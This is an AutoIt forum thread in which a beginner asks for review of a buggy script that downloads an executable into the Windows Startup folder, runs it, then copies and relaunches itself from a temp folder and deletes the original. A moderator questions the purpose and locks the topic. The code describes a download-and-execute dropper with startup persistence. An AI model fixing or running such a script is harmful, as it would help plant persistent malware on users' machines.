Jump to content

Code Review Request [Download-Copy-Execute]


 Share

Recommended Posts

Good Day Viewer,

I am a very new|beginner in programming who started about two days ago with Autoit. I am trying to develop the script that download, copy to windows root directory and execute binary [.exe] downloaded file after copy from download from and windows root directory as well. Below is the code:

#inlude <StaticConstants.au3>
#inlude <WindowsContants.au3>

$sFile=_DownloadFile("127.0.0.1/dir/notepad.exe')

shellExecute($sFile)

Func _DownloadFile($sURL)
   Local $hDownload, $sFile
   $sFile = StringRegExpReplace($sURL, "^.*/", "")
   $sDirectory = @StartupDir & $sFile
   $hDownload = InetGet($sURL, $sDirectory, 17, 1)
   InetClose($hDownload)
   Return $sDirectory
   
   If $CMDLine[0] > 0 and FileExists($CMDLine[1]) and @compiled = 1 Then
    Sleep(100)
    If StringRight($CMDLine[1], 4) = "notepad.exe" then FileDelete($CMDLine[1])
EndIf

If @ScriptDir <> @tempdir & "\test" Then
    DirCreate(@tempdir & "\test")
    FileCopy(@autoitexe, @tempdir & "\test\" & @scriptname, 1)
    Run(@tempdir & "\test\" & @scriptname & ' "'  & @scriptfullpath & '"')
EndFunc ;==>_GetURLImage

I appreciate your support in advance. Thank you

Link to comment
Share on other sites

  • Developers
1 hour ago, oracleserver said:

I am trying to develop the script that download, copy to windows root directory and execute binary [.exe] downloaded file after copy from download from and windows root directory as well.

Why as this kind of task doesn't sound like someone would want to do?

Jos

SciTE4AutoIt3 Full installer Download page   - Beta files       Read before posting     How to post scriptsource   Forum etiquette  Forum Rules 
 
Live for the present,
Dream of the future,
Learn from the past.
  :)

Link to comment
Share on other sites

  • Jos locked this topic
Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...